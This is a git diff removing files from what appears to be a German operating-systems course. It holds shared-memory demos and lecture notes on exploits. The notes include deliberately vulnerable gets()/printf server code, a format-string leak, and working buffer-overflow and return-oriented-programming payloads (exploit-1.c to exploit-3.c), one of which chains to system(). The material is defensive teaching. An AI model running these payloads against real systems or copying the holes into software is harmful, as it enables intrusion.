9277da31e7a3e8b5f7f0ccb369f6eee47efde650..0000000000000000000000000000000000000000 --- a/20220516/buffer-overflow-01.txt +++ /dev/null @@ -1,28 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char buffer[20]; - gets (buffer); - printf ("Guten Tag, %s!\n", buffer); - return 0; -} -cassini/home/peter/bo/2022ss/bs/20220516> gcc -Wall -O buffer-overflow-01.c -o buffer-overflow-01 -buffer-overflow-01.c: In function ‘main’: -buffer-overflow-01.c:6:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] - gets (buffer); - ^~~~ - fgets -/usr/bin/ld: /tmp/cc8eISnL.o: in function `main': -buffer-overflow-01.c:(.text+0x11): Warnung:the `gets' function is dangerous and should not be used. -cassini/home/peter/bo/2022ss/bs/20220516> ./buffer-overflow-01 -Peter -Guten Tag, Peter! -cassini/home/peter/bo/2022ss/bs/20220516> ./buffer-overflow-01 -Prof. Dr. rer. nat. Peter Gerwinski -Guten Tag, Prof. Dr. rer. nat. Peter Gerwinski! -cassini/home/peter/bo/2022ss/bs/20220516> ./buffer-overflow-01 -Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski -Guten Tag, Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski! -Speicherzugriffsfehler -cassini/home/peter/bo/2022ss/bs/20220516> diff --git a/20220516/hello-01.c b/20220516/hello-01.c deleted file mode 100644 index b3201f333349fb959daf5c8216ed5f078727b41f..0000000000000000000000000000000000000000 --- a/20220516/hello-01.c +++ /dev/null @@ -1,8 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char *hello = "Hello!"; - printf ("%s\n", hello); - return 0; -} diff --git a/20220516/hello-02.c b/20220516/hello-02.c deleted file mode 100644 index 23686a622d7a75ef5e08af6bba8dbb9ecfca503d..0000000000000000000000000000000000000000 --- a/20220516/hello-02.c +++ /dev/null @@ -1,9 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char *hello = "Hello!"; - hello[1] = 'a'; - printf ("%s\n", hello); - return 0; -} diff --git a/20220516/hello-02.s b/20220516/hello-02.s deleted file mode 100644 index e396f2a4ef344f7621d2046e5178084921a40b57..0000000000000000000000000000000000000000 --- a/20220516/hello-02.s +++ /dev/null @@ -1,25 +0,0 @@ - .file "hello-02.c" - .text - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "Hello!" - .text - .globl main - .type main, @function -main: -.LFB11: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - movb $97, 1+.LC0(%rip) - leaq .LC0(%rip), %rdi - call puts@PLT - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE11: - .size main, .-main - .ident "GCC: (Debian 8.3.0-6) 8.3.0" - .section .note.GNU-stack,"",@progbits diff --git a/20220516/shm-1a.c b/20220516/shm-1a.c deleted file mode 100644 index c404db3bdb22a6b0a0a1e30b47b4b2de0a048f12..0000000000000000000000000000000000000000 --- a/20220516/shm-1a.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> - -int main (void) -{ - int shm = shm_open ("test", O_RDWR, 0666); - write (shm, "Hello, world!", 13); - return 0; -} diff --git a/20220516/shm-1b.c b/20220516/shm-1b.c deleted file mode 100644 index de7774f79a26406bf5032f8d9a4fa543e35963fe..0000000000000000000000000000000000000000 --- a/20220516/shm-1b.c +++ /dev/null @@ -1,13 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - char buffer[42]; - int shm = shm_open ("test", O_RDONLY, 0444); - read (shm, buffer, 42); - printf ("%s\n", buffer); - return 0; -} diff --git a/20220516/shm-1c.c b/20220516/shm-1c.c deleted file mode 100644 index ff6363eddfa2b6d26ae5c390f96306702afd60f8..0000000000000000000000000000000000000000 --- a/20220516/shm-1c.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - char buffer[42]; - int shm = shm_open ("test", O_RDONLY, 0444); - lseek (shm, 0, SEEK_SET); - read (shm, buffer, 42); - printf ("%s\n", buffer); - return 0; -} diff --git a/20220516/shm-2a.c b/20220516/shm-2a.c deleted file mode 100644 index 8853ecaed14074e136a764fbdb868d5fe7a4baf3..0000000000000000000000000000000000000000 --- a/20220516/shm-2a.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> - -int main (void) -{ - int shm = shm_open ("test", O_CREAT | O_RDWR, 0666); - write (shm, "Hello, world!", 14); - close (shm); - return 0; -} diff --git a/20220516/shm-2b.c b/20220516/shm-2b.c deleted file mode 100644 index 92ef091a9f00a93ed834071bd425b5b60238c3ee..0000000000000000000000000000000000000000 --- a/20220516/shm-2b.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - char buffer[42]; - int shm = shm_open ("test", O_RDONLY, 0444); - read (shm, buffer, 42); - close (shm); - printf ("%s\n", buffer); - return 0; -} diff --git a/20220516/shm-3a.c b/20220516/shm-3a.c deleted file mode 100644 index b5273ec483618b33585ff78f70f419bdff149950..0000000000000000000000000000000000000000 --- a/20220516/shm-3a.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - int file = open ("test.txt", O_CREAT | O_RDWR, 0666); - printf ("file = %d\n", file); - lseek (file, 0, SEEK_SET); - write (file, "Hello, world!", 14); - close (file); - return 0; -} diff --git a/20220516/shm-3b.c b/20220516/shm-3b.c deleted file mode 100644 index 21f2d5d32d075a33bd94abeb9b69495d58b8c8a5..0000000000000000000000000000000000000000 --- a/20220516/shm-3b.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - char buffer[42]; - int file = open ("test.txt", O_RDONLY, 0444); - lseek (file, 0, SEEK_SET); - read (file, buffer, 42); - close (file); - printf ("%s\n", buffer); - return 0; -} diff --git a/20220516/shm-4a.c b/20220516/shm-4a.c deleted file mode 100644 index 00ddb6790a669f3040dd7439c98c30d01227662d..0000000000000000000000000000000000000000 --- a/20220516/shm-4a.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <string.h> - -int main (void) -{ - int shm = shm_open ("test", O_CREAT | O_RDWR, 0666); - char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); - strcpy (buffer, "Hello, world!"); - munmap (buffer, 42); - close (shm); - return 0; -} diff --git a/20220516/shm-4b.c b/20220516/shm-4b.c deleted file mode 100644 index 34c4b6ae3bebb451979307c61f3cfe66c5477f87..0000000000000000000000000000000000000000 --- a/20220516/shm-4b.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - int shm = shm_open ("test", O_RDONLY, 0444); - char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0); - printf ("%s\n", buffer); - munmap (buffer, 42); - close (shm); - return 0; -} diff --git a/20220516/shm-5a.c b/20220516/shm-5a.c deleted file mode 100644 index 8acc3dde82d8d7f7c4fd77714a3f5f65b7aa2b96..0000000000000000000000000000000000000000 --- a/20220516/shm-5a.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <string.h> - -int main (void) -{ - int file = open ("test.txt", O_CREAT | O_RDWR, 0666); - char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); - strcpy (buffer, "Hello, world!"); - munmap (buffer, 42); - close (file); - return 0; -} diff --git a/20220516/shm-5b.c b/20220516/shm-5b.c deleted file mode 100644 index c31ba9b27a39f587474632b0442cbc33d20206eb..0000000000000000000000000000000000000000 --- a/20220516/shm-5b.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - int file = open ("test.txt", O_RDONLY, 0444); - char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, file, 0); - printf ("%s\n", buffer); - munmap (buffer, 42); - close (file); - return 0; -} diff --git a/20220516/shm-6a.c b/20220516/shm-6a.c deleted file mode 100644 index 45e883c1f746de42bf8b2cfc0bcebb61e9c862e2..0000000000000000000000000000000000000000 --- a/20220516/shm-6a.c +++ /dev/null @@ -1,19 +0,0 @@ -#include <stdio.h> -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <string.h> - -int main (void) -{ - int file = open ("test.txt", O_CREAT | O_RDWR, 0666); - fprintf (stderr, "0\n"); - char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); - fprintf (stderr, "1\n"); - strcpy (buffer, "Hello, world!"); - fprintf (stderr, "2\n"); - munmap (buffer, 42); - fprintf (stderr, "3\n"); - close (file); - return 0; -} diff --git a/20220516/shm-6c.c b/20220516/shm-6c.c deleted file mode 100644 index c4c537612a4d24d1b7bf20bb8c3f53a30c0a3322..0000000000000000000000000000000000000000 --- a/20220516/shm-6c.c +++ /dev/null @@ -1,19 +0,0 @@ -#include <stdio.h> -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <string.h> - -int main (void) -{ - int file = open ("test.txt", O_CREAT | O_RDWR, 0666); - fprintf (stderr, "0\n"); - char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0); - fprintf (stderr, "1\n"); - strcpy (buffer, "Dies ist ein weiterer Test."); - fprintf (stderr, "2\n"); - munmap (buffer, 42); - fprintf (stderr, "3\n"); - close (file); - return 0; -} diff --git a/20220516/shm-7.txt b/20220516/shm-7.txt deleted file mode 100644 index 42250e229b66f3e27fa2fcf3bd300f5f96795230..0000000000000000000000000000000000000000 --- a/20220516/shm-7.txt +++ /dev/null @@ -1,51 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220516> cat shm-7a.c -#include <stdio.h> -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <string.h> - -int main (void) -{ - int shm = shm_open ("test", O_CREAT | O_RDWR, 0666); - char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); - printf ("%016zx\n", buffer); - strcpy (buffer, "Hello, world!"); - munmap (buffer, 42); - close (shm); - return 0; -} -cassini/home/peter/bo/2022ss/bs/20220516> gcc -Wall -O shm-7a.c -lrt -o shm-7a -shm-7a.c: In function ‘main’: -shm-7a.c:11:17: warning: format ‘%zx’ expects argument of type ‘size_t’, but argument 2 has type ‘char *’ [-Wformat=] - printf ("%016zx\n", buffer); - ~~~~~^ ~~~~~~ - %016s -cassini/home/peter/bo/2022ss/bs/20220516> ./shm-7a -00007f40c3ceb000 -cassini/home/peter/bo/2022ss/bs/20220516> cat shm-7b.c -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - int shm = shm_open ("test", O_RDONLY, 0444); - char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0); - printf ("%016zx\n", buffer); - printf ("%s\n", buffer); - munmap (buffer, 42); - close (shm); - return 0; -} -cassini/home/peter/bo/2022ss/bs/20220516> gcc -Wall -O shm-7b.c -lrt -o shm-7b -shm-7b.c: In function ‘main’: -shm-7b.c:10:17: warning: format ‘%zx’ expects argument of type ‘size_t’, but argument 2 has type ‘char *’ [-Wformat=] - printf ("%016zx\n", buffer); - ~~~~~^ ~~~~~~ - %016s -cassini/home/peter/bo/2022ss/bs/20220516> ./shm-7b -00007fd7e2c36000 -Hello, world! -cassini/home/peter/bo/2022ss/bs/20220516> diff --git a/20220516/shm-7a.c b/20220516/shm-7a.c deleted file mode 100644 index 4641337ca7d979440d493311193e618d713f1f27..0000000000000000000000000000000000000000 --- a/20220516/shm-7a.c +++ /dev/null @@ -1,16 +0,0 @@ -#include <stdio.h> -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <string.h> - -int main (void) -{ - int shm = shm_open ("test", O_CREAT | O_RDWR, 0666); - char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); - printf ("%016zx\n", buffer); - strcpy (buffer, "Hello, world!"); - munmap (buffer, 42); - close (shm); - return 0; -} diff --git a/20220516/shm-7b.c b/20220516/shm-7b.c deleted file mode 100644 index e39d524762cc641d3c019cc16a7193424b3bca43..0000000000000000000000000000000000000000 --- a/20220516/shm-7b.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <sys/mman.h> -#include <fcntl.h> -#include <unistd.h> -#include <stdio.h> - -int main (void) -{ - int shm = shm_open ("test", O_RDONLY, 0444); - char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0); - printf ("%016zx\n", buffer); - printf ("%s\n", buffer); - munmap (buffer, 42); - close (shm); - return 0; -} diff --git a/20220516/shm-8.c b/20220516/shm-8.c deleted file mode 100644 index f2397311753bbcdc9e747804c3c0ccf04087533f..0000000000000000000000000000000000000000 --- a/20220516/shm-8.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <sys/mman.h> - -int main (void) -{ - shm_unlink ("test"); - return 0; -} diff --git a/20220516/test.txt b/20220516/test.txt deleted file mode 100644 index 14220de2cc6ba7ad7258bcab5c4c37820ca3b59c..0000000000000000000000000000000000000000 Binary files a/20220516/test.txt and /dev/null differ diff --git a/20220523/bs-20220523.txt b/20220523/bs-20220523.txt deleted file mode 100644 index 764104b4b265302f7835ed226caf82142cd942bf..0000000000000000000000000000000000000000 --- a/20220523/bs-20220523.txt +++ /dev/null @@ -1,321 +0,0 @@ -Exploits, 10.05.2019 -~~~~~~~~~~~~~~~~~~~~ -Vorab: - - Dies ist keine Einladung, anderer Leute Systeme anzugreifen. - Derartige Handlungen sind Straftaten. - - Ich erzähle Ihnen dies, damit Sie wissen, - wie Sie sich gegen derartige Angriffe verteidigen können. - - Um es gleich vorwegzunehmen: - Gewöhnen Sie sich von vorneherein an, - sauber und ordentlich zu programmieren. - -Anleitungen für Exploits: -http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html -http://www.thesprawl.org/research/exploit-exercises-protostar-stack/ - -Literatur: -Jon Erickson: Hacking: The Art of Exploitation. -No Starch Press, 2003. ISBN: 1-59327-007-0 - -Anleitung für den GNU-Debugger (gdb): -http://beej.us/guide/bggdb/ - -Formatstring-Angriff: - - printf (user_string) für Exploit nutzen: %016llx - Server, der Passwort auf dem Stack speichert --> server-0.c - - $ ./server-0 - Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx - Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007 - 20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570! - ~~~~~~~~~~~~~~~~ ~~~~ - Your password, please: - -SQL Injection: http://xkcd.com/327/ - - insert into students values ('Robert', 'Lenhard', '3b'); - - insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b'); - -Lösung des Problems: Escape-Sequenzen, Prepared Statements. -Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen. - -Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid- - -Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext: -http://heise.de/-2812713 - -Buffer Overflow für Exploit nutzen: server-[123].c, exploit-* - -Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack. -Funktionsaufruf: Register setzen, Funktion anspringen. -Exploit: Rücksprungadresse gezielt überschreiben. -Früher möglich: Programm in den Stack schreiben, dorthin springen. -Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR) -Return Oriented Programming erforderlich -genauer: return-to-libc; noch genauer: return-to-plt -Gezielt Winz-Funktionen anspringen, um Register zu setzen, -danach Programm- und Bibliotheksfunktionen anspringen. - -Warum stürzt server-1.c ab, wenn der Name zu lang ist? 23.05.2022, 13:05:49 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Quelltext: server-1.c - - #include <stdio.h> - - int main (void) - { - char buffer[20]; - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\n", buffer); - return 0; - } - -Eingegebener Name: "Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski" -Puffer-Länge: 20 bis hierhin ^ steht über ^ - -Debugger, unmittelbar nach dem Absturz: - - ┌──server-1.c────────────────────────────────────────────────────────────────────────────┐ - │4 { │ - B+ │5 char buffer[20]; │ - │6 printf ("Your name, please: "); │ - │7 gets (buffer); │ - │8 printf ("Hello, %s!\n", buffer); │ - >│9 return 0; │ - │10 } │ - │11 │ - │12 │ - │13 │ - │14 │ - │15 │ - │16 │ - ┌────────────────────────────────────────────────────────────────────────────────────────┐ - │0x555555555166 <main+33> callq 0x555555555040 <gets@plt> │ - │0x55555555516b <main+38> mov %rbx,%rsi │ - │0x55555555516e <main+41> lea 0xea3(%rip),%rdi # 0x555555556018 │ - │0x555555555175 <main+48> mov $0x0,%eax │ - │0x55555555517a <main+53> callq 0x555555555030 <printf@plt> │ - │0x55555555517f <main+58> mov $0x0,%eax │ - │0x555555555184 <main+63> add $0x20,%rsp │ - │0x555555555188 <main+67> pop %rbx │ - >│0x555555555189 <main+68> retq │ - │0x55555555518a nopw 0x0(%rax,%rax,1) │ - │0x555555555190 <__libc_csu_init> push %r15 │ - │0x555555555192 <__libc_csu_init+2> mov %rdx,%r15 │ - │0x555555555195 <__libc_csu_init+5> push %r14 │ - └────────────────────────────────────────────────────────────────────────────────────────┘ - native process 27862 In: main L9 PC: 0x555555555189 - eflags 0x202 [ IF ] - cs 0x33 51 - ss 0x2b 43 - ds 0x0 0 - es 0x0 0 - fs 0x0 0 - gs 0x0 0 - (gdb) x/2 0x7fffffffdf78 - 0x7fffffffdf78: 0x6e697772 0x00696b73 - (gdb) nexti - - Program received signal SIGSEGV, Segmentation fault. - 0x0000555555555189 in main () at server-1.c:9 - (gdb) - -Nach dem Durchlauf des Programms soll das Betriebssystem wieder übernehmen. -Hierfür springt das Programm an die Speicherzelle Nr. 00696b73 6e697772 . - -00696b73 6e697772 in ASCII übersetzen: - i k s n i w r - -Dies sind die letzten Buchstaben mit Ende-Zeichen des eingegebenen Strings. - ---> Das Programm springt an eine Stelle im Speicher, die ihm nicht gehört. - -Diese Stelle ist aber nicht zufällig, sondern hängt von dem eingegebenen -String ab. - -exploit-1.c: - - #include <unistd.h> - #include <stdint.h> - - int main (int argc, char **argv) - { - uint64_t my_program_address = 0x7fffffffdfa0; - for (int i = 0; i < 0x28; i++) - write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse - write (1, &my_program_address, 8); // überschreiben zu können - write (1, "I 0WN U!", 8); - for (int i = 0; i < 24; i++) - write (1, " ", 1); - write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der - write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung - write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt> - write (1, "\xeb\xfe", 2); // while (1); - write (1, "\n", 1); - return 0; - } - -Ich übergebe als "Namen" einen String, der ausführbare Programm-Fragmente -enthält (hier: printf "I 0WN U!") und überschreibe die Rücksprungadresse -derart, daß dieses Programm-Fragment anschließend ausgeführt werden soll. - - ┌──server-1.c────────────────────────────────────────────────────────────────────────────┐ - │ │ - │ │ - │ │ - │ │ - │ │ - │ │ - │ [ No Source Available ] │ - │ │ - │ │ - │ │ - │ │ - │ │ - │ │ - ┌────────────────────────────────────────────────────────────────────────────────────────┐ - >│0x7fffffffdfa0 mov %rsp,%rdi │ - │0x7fffffffdfa3 mov $0x0,%eax │ - │0x7fffffffdfa8 callq 0x7fffffffddd3 │ - │0x7fffffffdfad jmp 0x7fffffffdfad │ - │0x7fffffffdfaf add %ah,0x50(%rax) │ - │0x7fffffffdfb2 push %rbp │ - │0x7fffffffdfb3 push %rbp │ - │0x7fffffffdfb4 push %rbp │ - │0x7fffffffdfb5 push %rbp │ - │0x7fffffffdfb6 add %al,(%rax) │ - │0x7fffffffdfb8 push %rax │ - │0x7fffffffdfb9 loopne 0x7fffffffdfba │ - │0x7fffffffdfbb (bad) │ - └────────────────────────────────────────────────────────────────────────────────────────┘ - native process 30875 In: L?? PC: 0x7fffffffdfa0 - fs 0x0 0 - gs 0x0 0 - (gdb) x/2 0x7fffffffdf78 - 0x7fffffffdf78: 0xffffdfa0 0x00007fff - (gdb) x/2 0x00007fffffffdfa0 - 0x7fffffffdfa0: 0xb8e78948 0x00000000 - (gdb) disassemble 0x00007fffffffdfa0 - No function contains specified address. - (gdb) x/16b 0x00007fffffffdfa0 - 0x7fffffffdfa0: 0x48 0x89 0xe7 0xb8 0x00 0x00 0x00 0x00 - 0x7fffffffdfa8: 0xe8 0x26 0xfe 0xff 0xff 0xeb 0xfe 0x00 - (gdb) nexti - 0x00007fffffffdfa0 in ?? () - (gdb) nexti - - Program received signal SIGSEGV, Segmentation fault. - 0x00007fffffffdfa0 in ?? () - (gdb) - -Ergebnis: Der von uns eingeschleuste Code wird tatsächlich angesprungen, -dann allerdings nicht ausgeführt. Stattdessen: Speicherzugriffsfehler. - -Erklärung: Der Code befindet sich auf dem Stack. -Der Stack ist aber von der Hardware als nicht-ausführbar markiert. -Beim Versuch, diesen Code auszuführen, löst der Prozessor eine -Exception aus. - -(Früher funktionierten derartige Exploits.) - -Auch diese Schutzfunktion kann man überwinden: -Return-Oriented Programming, 23.05.2022, 13:32:33 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -server-2.c: - - #include <stdio.h> - #include <stdlib.h> - - void stuff (void) - { - asm ("mov $0, %eax"); - asm ("add $0x28, %rsp"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - asm ("mov %rsp, %rdi"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - asm ("add $0x20, %rdi"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - system ("clear"); - exit (0); - } - - int main (void) - { - char buffer[20]; - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\n", buffer); - return 0; - } - -Das Angreifer-Programm sorgt dafür, der Befehl "mov %rsp, %rdi" -ausgeführt wird. Dies geschieht, indem es die Rücksprungadresse -darauf verweisen läßt. - - #include <stdlib.h> - #include <stdint.h> - #include <unistd.h> - - #define OVERFLOW 40 - - int main (int argc, char **argv) - { - uint64_t mov_rsp_rdi = 0x555555555176; - uint64_t add_offset_to_rdi = 0x55555555517d; - uint64_t dummy = 0; - uint64_t printf_address = 0x555555555040; - uint64_t exit_address = 0x555555555060; - uint8_t overflow[OVERFLOW] = "loser"; - uint8_t payload[] = "I 0WN U!!1! " - " "; - write (1, overflow, sizeof (overflow)); - write (1, &mov_rsp_rdi, 8); - write (1, &add_offset_to_rdi, 8); - write (1, &printf_address, 8); - write (1, &exit_address, 8); - write (1, &dummy, 8); - write (1, payload, sizeof (payload)); - write (1, "\n", 1); - return 0; - } - -Mit dem nächsten Rücksprung führt es dann "add $0x20, %rdi" aus. -Danach zeigt das %rdi-Register auf den String "I 0WN U!!1!". - -Mit dem nächsten Rücksprung rufen wir die Funktion printf() -für diesen String auf. (Hier ist wichtig, daß sich im %eax-Register -bereits eine Null befindet. Diese kommt noch von dem "return 0;".) - -Nach erfolgtem printf() ruft der nächste Rücksprung die Funktion -exit() auf, um das Programm kontrolliert zu beenden. Dabei wird -auch die Datei stdin geschlossen und der String "I 0WN U!!1" -ausgegeben. - -Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Lücke in PHPMailer erlaubt die Ausführung fremden Codes -https://heise.de/-3582072 - -Exploits, 29.06.2020, 15:38:10 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Früher möglich: Programm in den Stack schreiben, dorthin springen. -Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR) -Return Oriented Programming erforderlich -genauer: return-to-libc; noch genauer: return-to-plt -Gezielt Winz-Funktionen anspringen, um Register zu setzen, -danach Programm- und Bibliotheksfunktionen anspringen. diff --git a/20220523/exploit-1.c b/20220523/exploit-1.c deleted file mode 100644 index f967dc10d848a9bcce65a0a23af4642a7ef6ae0f..0000000000000000000000000000000000000000 --- a/20220523/exploit-1.c +++ /dev/null @@ -1,19 +0,0 @@ -#include <unistd.h> -#include <stdint.h> - -int main (int argc, char **argv) -{ - uint64_t my_program_address = 0x7fffffffdfa0; - for (int i = 0; i < 0x28; i++) - write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse - write (1, &my_program_address, 8); // überschreiben zu können - write (1, "I 0WN U!", 8); - for (int i = 0; i < 24; i++) - write (1, " ", 1); - write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der - write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung - write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt> - write (1, "\xeb\xfe", 2); // while (1); - write (1, "\n", 1); - return 0; -} diff --git a/20220523/exploit-1.txt b/20220523/exploit-1.txt deleted file mode 100644 index 44707bfa2ee99ddd58e1c8ee67c8667225f25323..0000000000000000000000000000000000000000 Binary files a/20220523/exploit-1.txt and /dev/null differ diff --git a/20220523/exploit-2.c b/20220523/exploit-2.c deleted file mode 100644 index 3010e84b21f554807ba1b73d8f35a57b3587deff..0000000000000000000000000000000000000000 --- a/20220523/exploit-2.c +++ /dev/null @@ -1,26 +0,0 @@ -#include <stdlib.h> -#include <stdint.h> -#include <unistd.h> - -#define OVERFLOW 40 - -int main (int argc, char **argv) -{ - uint64_t mov_rsp_rdi = 0x555555555176; - uint64_t add_offset_to_rdi = 0x55555555517d; - uint64_t dummy = 0; - uint64_t printf_address = 0x555555555040; - uint64_t exit_address = 0x555555555060; - uint8_t overflow[OVERFLOW] = "loser"; - uint8_t payload[] = "I 0WN U!!1! " - " "; - write (1, overflow, sizeof (overflow)); - write (1, &mov_rsp_rdi, 8); - write (1, &add_offset_to_rdi, 8); - write (1, &printf_address, 8); - write (1, &exit_address, 8); - write (1, &dummy, 8); - write (1, payload, sizeof (payload)); - write (1, "\n", 1); - return 0; -} diff --git a/20220523/exploit-2.txt b/20220523/exploit-2.txt deleted file mode 100644 index ea10070d643247bec138f8732d1711dd19cb34dd..0000000000000000000000000000000000000000 Binary files a/20220523/exploit-2.txt and /dev/null differ diff --git a/20220523/exploit-3.c b/20220523/exploit-3.c deleted file mode 100644 index ae1903af3ddf12c812a784223c700d22904600c1..0000000000000000000000000000000000000000 --- a/20220523/exploit-3.c +++ /dev/null @@ -1,25 +0,0 @@ -#include <stdlib.h> -#include <stdint.h> -#include <unistd.h> - -#define OVERFLOW 40 - -int main (int argc, char **argv) -{ - uint64_t mov_rsp_rdi = 0x555555555176; - uint64_t add_offset_to_rdi = 0x55555555517d; - uint64_t dummy = 0; - uint64_t system_address = 0x555555555030; // 0x7ffff7e109c0; - uint64_t exit_address = 0x555555555060; // 0x7ffff7e04ea0; - uint8_t overflow[OVERFLOW] = "loser"; - uint8_t payload[] = "gimp ../common/os-layers.xcf.gz"; - write (1, overflow, sizeof (overflow)); - write (1, &mov_rsp_rdi, 8); - write (1, &add_offset_to_rdi, 8); - write (1, &system_address, 8); - write (1, &exit_address, 8); - write (1, &dummy, 8); - write (1, payload, sizeof (payload)); - write (1, "\n", 1); - return 0; -} diff --git a/20220523/exploit-3.txt b/20220523/exploit-3.txt deleted file mode 100644 index 93827d33fe1916d2e75430c55108af67c634aecb..0000000000000000000000000000000000000000 Binary files a/20220523/exploit-3.txt and /dev/null differ diff --git a/20220523/hello-01.c b/20220523/hello-01.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20220523/hello-01.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20220523/hello-02.c b/20220523/hello-02.c deleted file mode 100644 index d3fbcd3da43279bbdf37fac1e593b8281b85cafb..0000000000000000000000000000000000000000 --- a/20220523/hello-02.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world! "); - return 0; -} diff --git a/20220523/printf-01.c b/20220523/printf-01.c deleted file mode 100644 index ae37ad290203e4e490e3e2fac5a8080f7dfa0364..0000000000000000000000000000000000000000 --- a/20220523/printf-01.c +++ /dev/null @@ -1,9 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Die Antwort lautet: "); - printf (42); - printf ("\n"); - return 0; -} diff --git a/20220523/printf-02.c b/20220523/printf-02.c deleted file mode 100644 index 8df53c4c95e8c3ae959324a1b7fa4f058aafc7ef..0000000000000000000000000000000000000000 --- a/20220523/printf-02.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Die Antwort lautet: %d\n", 